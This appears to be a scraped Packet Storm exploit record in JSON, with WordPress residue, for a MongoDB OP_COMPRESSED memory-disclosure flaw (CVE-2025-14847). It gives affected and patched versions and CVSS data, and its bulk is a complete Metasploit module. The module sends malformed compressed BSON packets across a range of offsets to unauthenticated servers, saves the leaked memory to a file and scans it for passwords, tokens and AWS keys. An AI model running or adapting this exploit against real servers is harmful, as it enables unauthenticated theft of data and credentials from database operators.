{“lastseen”:”2026-02-17T18:15:30″,”description”:”This Metasploit module demonstrates an educational memory leak in MongoDB BSON decompression. It sends malformed BSON in OPCOMPRESSED messages to trigger memory disclosure. Quite a huge list of versions are affected…”,”published”:”2026-02-17T00:00:00″,”modified”:”2026-02-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MongoDB BSON Decompression OP_COMPRESSED Memory Disclosure”,”source”:””,”references”:””,”id”:”PACKETSTORM:215727″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-14847″],”sourceData”:”=============================================================================================================================================\\n | # Title : MongoDB BSON Decompression Memory Disclosure via OP_COMPRESSED |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits) |\\n | # Vendor : https:\/\/www.mongodb.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : A memory disclosure vulnerability exists in MongoDB\u2019s handling of compressed wire protocol messages (OP_COMPRESSED). \\n The issue arises from improper bounds validation during BSON decompression, where a crafted message can declare a manipulated uncompressed size and BSON document length.\\n By sending a malformed OP_COMPRESSED packet containing a forged BSON length field and inconsistent decompression size, a remote unauthenticated \\n \\t\\t\\t\\t attacker may trigger an out-of-bounds read condition. This can lead to unintended disclosure of memory contents through server error responses.\\n The vulnerability is remotely exploitable over the MongoDB service port (default: 27017) and does not require authentication under default configurations where the service is exposed.\\n \\n [+] Affected Versions :\\n \\n The vulnerability impacts the following MongoDB Server versions prior to patch releases:\\n \\n 8.2.0 \u2192 8.2.2\\n \\n 8.0.0 \u2192 8.0.16\\n \\n 7.0.0 \u2192 7.0.27\\n \\n 6.0.0 \u2192 6.0.26\\n \\n 5.0.0 \u2192 5.0.31\\n \\n 4.4.0 \u2192 4.4.29\\n \\n Older 4.2.x, 4.0.x, and 3.6.x branches (unpatched)\\n \\n Patched Versions\\n \\n The issue is fixed in:\\n \\n 8.2.3\\n \\n 8.0.17\\n \\n 7.0.28\\n \\n 6.0.27\\n \\n 5.0.32\\n \\n 4.4.30 and later\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # PoC converted from Python to Metasploit Ruby module\\n ##\\n \\n require ‘msf\/core’\\n require ‘zlib’\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::Tcp\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘CVE-2025-14847 MongoDB Memory Leak’,\\n ‘Description’ =\\u003e %q{\\n This module demonstrates an educational memory leak in MongoDB BSON decompression.\\n It sends malformed BSON in OP_COMPRESSED messages to trigger memory disclosure.\\n },\\n ‘Author’ =\\u003e [ ‘Antara Mane (Python PoC)’, ‘Indoushka’ ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e\\n [\\n [ ‘CVE’, ‘2025-14847’ ],\\n [ ‘URL’, ‘https:\/\/example.com\/mongodb-leak’ ]\\n ],\\n ‘Platform’ =\\u003e [‘linux’,’win’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Targets’ =\\u003e\\n [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2025-01-01’\\n ))\\n \\n register_options(\\n [\\n Opt::RPORT(27017),\\n OptInt.new(‘MIN_OFFSET’, [ true, ‘Minimum document length’, 20 ]),\\n OptInt.new(‘MAX_OFFSET’, [ true, ‘Maximum document length’, 8192 ]),\\n OptString.new(‘OUTPUT’, [ true, ‘File to save leaks’, ‘leaked.bin’ ])\\n ])\\n end\\n \\n def send_probe(doc_len, buffer_size)\\n content = \\”\\\\x10a\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\” \\n bson = [doc_len].pack(‘\\u003ci’) + content\\n \\n op_msg = [0].pack(‘\\u003cI’) + \\”\\\\x00\\” + bson\\n compressed = Zlib::Deflate.deflate(op_msg)\\n \\n payload = [2013].pack(‘\\u003cI’) \\n payload += [buffer_size].pack(‘\\u003ci’) \\n payload += [2].pack(‘C’) \\n payload += compressed\\n \\n header = [\\n 16 + payload.length, \\n 1, \\n 0, \\n 2012 \\n ].pack(‘\\u003cIIII’)\\n \\n connect\\n sock.put(header + payload)\\n res = sock.get_once(-1, 2)\\n disconnect\\n res || ”\\n rescue\\n ”\\n end\\n \\n def extract_leaks(response)\\n return [] if response.nil? || response.length \\u003c 25\\n \\n leaks = []\\n \\n begin\\n msg_len = response[0,4].unpack(‘\\u003cI’)[0]\\n if response[12,4].unpack(‘\\u003cI’)[0] == 2012\\n raw = Zlib::Inflate.inflate(response[25,msg_len-25])\\n else\\n raw = response[16,msg_len-16]\\n end\\n rescue\\n return []\\n end\\n \\n raw.scan(\/field name ‘([^’]*)’\/) do |m|\\n data = m[0].to_s\\n next if [‘?’,’a’,’$db’,’ping’].include?(data)\\n leaks \\u003c\\u003c data\\n end\\n raw.scan(\/type (\\\\d+)\/) do |m|\\n leaks \\u003c\\u003c [m[0].to_i].pack(‘C’)\\n end\\n \\n leaks\\n end\\n \\n def exploit\\n print_status(\\”[*] mongobleed – CVE-2025-14847 MongoDB Memory Leak\\”)\\n print_status(\\”[*] Target: #{rhost}:#{rport}\\”)\\n print_status(\\”[*] Scanning offsets #{datastore[‘MIN_OFFSET’]}-#{datastore[‘MAX_OFFSET’]}\\”)\\n \\n all_leaked = ”\\n unique_leaks = {}\\n \\n (datastore[‘MIN_OFFSET’]..datastore[‘MAX_OFFSET’]).each do |doc_len|\\n response = send_probe(doc_len, doc_len + 500)\\n leaks = extract_leaks(response)\\n \\n leaks.each do |data|\\n next if unique_leaks[data]\\n unique_leaks[data] = true\\n all_leaked \\u003c\\u003c data\\n \\n if data.length \\u003e 10\\n preview = data[0,80].force_encoding(‘utf-8’).encode(‘utf-8’, invalid: :replace)\\n print_good(\\”[+] offset=#{doc_len} len=#{data.length}: #{preview}\\”)\\n end\\n end\\n end\\n \\n ::File.open(datastore[‘OUTPUT’], ‘wb’) { |f| f.write(all_leaked) }\\n print_status(\\”[*] Total leaked: #{all_leaked.length} bytes\\”)\\n print_status(\\”[*] Unique fragments: #{unique_leaks.length}\\”)\\n print_status(\\”[*] Saved to: #{datastore[‘OUTPUT’]}\\”)\\n \\n secrets = [‘password’,’secret’,’key’,’token’,’admin’,’AKIA’]\\n secrets.each do |s|\\n if all_leaked.downcase.include?(s.downcase)\\n print_warning(\\”[!] Found pattern: #{s}\\”)\\n end\\n end\\n end\\n end\\n \\n \\t\\n Greetings to :======================================================================\\n jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n ====================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215727″,”cvss”:{“score”:8.7,”severity”:”HIGH”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215727\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-17T18:15:30″,”description”:”This Metasploit module demonstrates an educational memory leak in MongoDB BSON decompression. It sends malformed BSON in OPCOMPRESSED messages to trigger memory disclosure. Quite a…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,15,13,53,7,11,5],"class_list":["post-41166","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n